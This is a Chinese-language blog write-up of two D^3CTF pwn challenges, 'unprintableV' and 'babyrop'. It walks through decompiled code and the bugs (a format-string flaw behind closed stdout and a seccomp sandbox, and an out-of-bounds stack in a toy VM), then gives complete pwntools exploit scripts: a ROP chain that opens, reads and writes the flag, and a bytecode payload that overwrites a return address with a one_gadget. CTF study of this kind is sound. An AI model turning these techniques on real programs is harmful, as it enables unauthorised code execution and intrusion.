zoukankan      html  css  js  c++  java
  • D^3ctf两道 pwn

    这次 的D^3ctf 又是给吊打 难顶。。。

    所以题都是赛后解出来的,在这感谢Peanuts师傅

    unprintableV

    看看保护:

     

     看看伪代码,其实代码很少

    void __cdecl menu()
    {
      char *a; // [rsp+8h] [rbp-8h]
    
      a = buf;
      puts("welcome to d^3CTF!");
      printf("here is my gift: %p
    ", &a);
      puts("may you enjoy my printf test!");
      close(1);
      while ( strncmp(buf, "d^3CTF", 6uLL) && time )
        vuln();
    }

    漏洞主要在vuln

    void __cdecl vuln()
    {
      read(0, buf, 0x12CuLL);
      printf(buf, buf);
      --time;
    }

    这里开了 沙箱

     禁用了 execve

    所以不能调用system getshell

    所以应该用 open read  write结合读flag

    但是  这里 有close(1)

    就算利用 printf的格式化漏洞 读出内容了 ,还是显示不了,但是Peanuts师傅的指点,可以用 把 stdout 覆盖成 stderr  然后就可以输出了 然后就是常规的printf 格式化漏洞,最后 进行栈转移。

    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    context.arch = "amd64"
    def rsl(c1,c2):
        r.recvuntil(c1)
        r.sendline(c2)
    
    def rs(c1,c2):
        r.recvuntil(c1)
        r.send(c2)
    def eee_aa(payload):
        global count
        r.send(payload.ljust(300,'x00'))
        sleep(0.1)
        count = count -1
    def set_value(c1,index_,n):
        for i in range(n):
            payload ='%'+str(int(index_+i))+'d%6$hhn'
            eee_aa(payload)
            one_gadget1 = ((c1)>>(i*8))&0xff
            payload = "%"+str(one_gadget1)+"d%10$hhn"
            eee_aa(payload)
    
    for i in range(1000):
        count = 0x64
        #r = process("./unprintableV")
        #r = remote(host,port)
        r=process("./unprintableV")
        r.recvuntil("here is my gift: 0x")
        leak = int(r.recv(12),16)
        print hex(leak)
        index = leak & 0xff
        payload ='%'+str(int(index))+'c%6$hhn'
        eee_aa(payload)
        payload = "%32c%10$hhn"
        eee_aa(payload)
        payload = "%5440c%9$hn"
        eee_aa(payload)
        payload = '%7$p'
        eee_aa(payload)
        try:
            ooo =r.recvuntil("0x",timeout = 0.5)
            if ooo=='':
                r.close()
                continue
        except Exception as e:
            r.close()
            continue
        base_addr=int(r.recv(12),16)-0xafb
    
        payload = "%15$p"
        print hex(base_addr)
        eee_aa(payload)
        r.recvuntil("0x")
        libc_addr =int(r.recv(12),16)-0x20830
        print hex(libc_addr)
        mprotect_addr = libc.symbols['mprotect']+libc_addr
        pop_rdi = libc_addr + 0x21102
        pop_rsi = libc_addr + 0x202e8
        pop_rdx = libc_addr + 0x1b92 
        pop_rcx = libc_addr + 0xea69a 
        pop_rax = libc_addr + 0x33544
        syscall = libc_addr + 0xbc375
        rop  =p64(0)
        rop += p64(pop_rdi)
        rop +=p64(base_addr+0x202070)
        rop +=p64(pop_rsi)
        rop +=p64(0)
        rop +=p64(pop_rdx)
        rop +=p64(0)
        rop +=p64(pop_rax)
        rop +=p64(2)
        rop +=p64(syscall)
        #open
        rop +=p64(pop_rdi)
        rop +=p64(1)
        rop +=p64(pop_rsi)
        rop +=p64(base_addr+0x202300)
        rop +=p64(pop_rdx)
        rop +=p64(100)
        rop +=p64(pop_rax)
        rop +=p64(0)
        rop +=p64(syscall)
        #read
        rop +=p64(pop_rdi)
        rop +=p64(2)
        rop +=p64(pop_rsi)
        rop +=p64(base_addr+0x202300)
        rop +=p64(pop_rdx)
        rop +=p64(100)
        rop +=p64(pop_rax)
        rop +=p64(1)
        rop +=p64(syscall)
        set_value(base_addr+0x850,index+0x10,2)
        set_value(base_addr+0x202080,index+0x18,6)
        set_value(base_addr+0x9f8,index+0x20,6)
        #raw_input()
        #set_value(pop_rdi,index+0x10)
        #set_value(leak,index+0x18)
        #set_value(pop_rsi,index+0x20)
        #set_value(0x1000,index+0x28)
        #set_value(pop_rdx,index+0x30)
        #payload ='%'+str(int(index+0x38))+'d%6$hhn'
        #eee_aa(payload)
        #one_gadget1 = 7
        #print hex(one_gadget1)
        #payload = "%"+str(one_gadget1)+"d%10$hhn"
        #eee_aa(payload)
        #set_value(leak,0x40)
        print len(rop)
        sleep(1)
        payload="d^3CTF"
        payload=payload.ljust(0x10,'x00')
        payload+="flag"
        payload=payload.ljust(0x20,'x00')
    # open('./flag').read(fd,leak+300),write(1,leak+300,0x20)
        payload=payload+rop
        eee_aa(payload)
        #raw_input()
        r.interactive()
        break

    babyrop

    这道的 保护倒是全开了

     然后看看代码 

    里面定义了一个结构;

      a3->_esp = &v8;
      a3->stack_size = 10;
      a3->_ebp = a3->_esp + 0x50;

    然后 下面 有一些操作,然后可以看出 这个结构维持了 一个栈堆的结构。

    while ( *(*index + code) )
      {
        v4 = *(*index + code);
        switch ( off_14B4 )
        {
          case 0u:
            *index = 0LL;
            return 1LL;
          case 8u:
            push_int(stack, *(++*index + code));
            *index += 4LL;
            break;
          case 0x12u:
            put_char(stack, *(++*index + code));
            ++*index;
            break;
          case 0x15u:
            push_int64(stack, *(++*index + code));
            *index += 8LL;
            break;
          case 0x21u:
            add_0(stack);
            ++*index;
            break;
          case 0x26u:
            add_index(stack, *(++*index + code));
            ++*index;
            break;
          case 0x28u:
            ++*index;
            if ( !stack_sub_0x80(stack, v6) )
              exit(0);
            return result;
          case 0x30u:
            index_sub(stack, *(++*index + code));
            ++*index;
            break;
          case 0x34u:
            ++*index;
            sub_E17(stack);
            break;
          case 0x38u:
            ++*index;
            set_zero_for(stack);
            break;
          case 0x42u:
            sub_EDF(stack);
            ++*index;
            break;
          case 0x51u:
            add(stack);
            ++*index;
            break;
          case 0x52u:
            sub(stack);
            ++*index;
            break;
          case 0x56u:
            mov_index(stack, *(++*index + code));
            *index += 4LL;
            break;
          default:
            exit(0);
            return result;
        }
      }

    while 里面的指令都是对 这个结构进行读取,pop push  加减 都有

    这个漏洞的主要是

    signed __int64 __fastcall sub_C26(struc_1 *a1, _QWORD *a2)
    {
      if ( !a1->stack_size && *a2 > 1LL )#size是负数的时候 也是不满足的,导致了 栈越界访问,然后可以修改当前栈保存的 返回地址
        return 0LL;
      a1->_esp += 0x50LL;
      a1->stack_size -= 10;
      ++*a2;
      return 1LL;
    }

    我们可以多次 调用这个 函数 。

    另外,我们第一输入的256个字符是操作指令,有些指令带参数,有些不带参数。

    但很关键的一点是 

    signed __int64 __fastcall int_mov(struc_1 *a1, int a2)
    {
      if ( a1->stack_size > 9u )
        exit(0);
      a1->_esp -= 8LL;
      *a1->_esp = a2;
      ++a1->stack_size;
      return 1LL;
    }

    我们 多次调用 sub_C26之后 会导致   a1->stack_size > 9u  不满足。

    但是 有这个函数 

    signed __int64 __fastcall mov_index(struc_1 *a1, int a2)
    {
      *a1->_esp = a2;
      return 1LL;
    }

    虽然 写 4个字节,但是也足够了  因为我们 可以找一个esp指向 0的值,然后赋值,然后再一直调用

    signed __int64 __fastcall sub_E17(struc_1 *a1)
    {
      struc_1 *v1; // ST08_8
    
      v1 = a1;
      ++a1->stack_size;
      v1->_esp -= 8LL;
      *v1->_esp = *(v1->_esp + 8);
      *(a1->_esp + 8) = 0LL;
      return 1LL;
    }

    然后 加上栈上残留的___libc_start_main的地址 就可以获得一个 指向 onegadget的地址,然后就是一样的操作 继续往前面覆盖 最后覆盖掉 返回地址

    但是 onegadget 也有条件  就是rsp+0x30为null 那么我们可以调用几次 sub_C26,然后写null

    下面是exp

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    
    r = process("./babyrop")
    #r = remote(host,port)
    def rsl(c1,c2):
        r.recvuntil(c1)
        r.sendline(c2)
    
    def rs(c1,c2):
        r.recvuntil(c1)
        r.send(c2)
    
    sleep(0.5)
    payload = 'x28x12x12'+'x28'*2+'x34'+'x28'+'x34'*2+'x28'+'x34'*28+'x56'+p32(0x24a3a)+'x21'+'x34'*5+'x28'
    payload = payload.ljust(256,'x00')
    r.send(payload)
    r.interactive()

    我这次是本地进行调试的 所以libc 可能和比赛有所不一样。。

  • 相关阅读:
    WiFi的STA和AP指什么
    802.11各协议对比
    计算机网络速率,带宽,吞吐量概念
    Android Netd分析
    走进京东618大促“产星”之路
    科技爱好者周刊(第 171 期):云服务流量有多贵?
    科技爱好者周刊(第 170 期):软件订阅制的胜利
    科技爱好者周刊(第 169 期):五菱汽车的产品设计
    在Chrome中打开网页时出现以下问题 您的连接不是私密连接 攻击者可能会试图从 x.x.x.x 窃取您的信息(例如:密码、通讯内容或信用卡信息)
    mac 更新到big sur 后,parallels虚拟机的一些问题:由于您尚未获得访问其中一些文件的授权,所以您不能恢复“Windows 10
  • 原文地址:https://www.cnblogs.com/liyuechan/p/11945652.html
Copyright © 2011-2022 走看看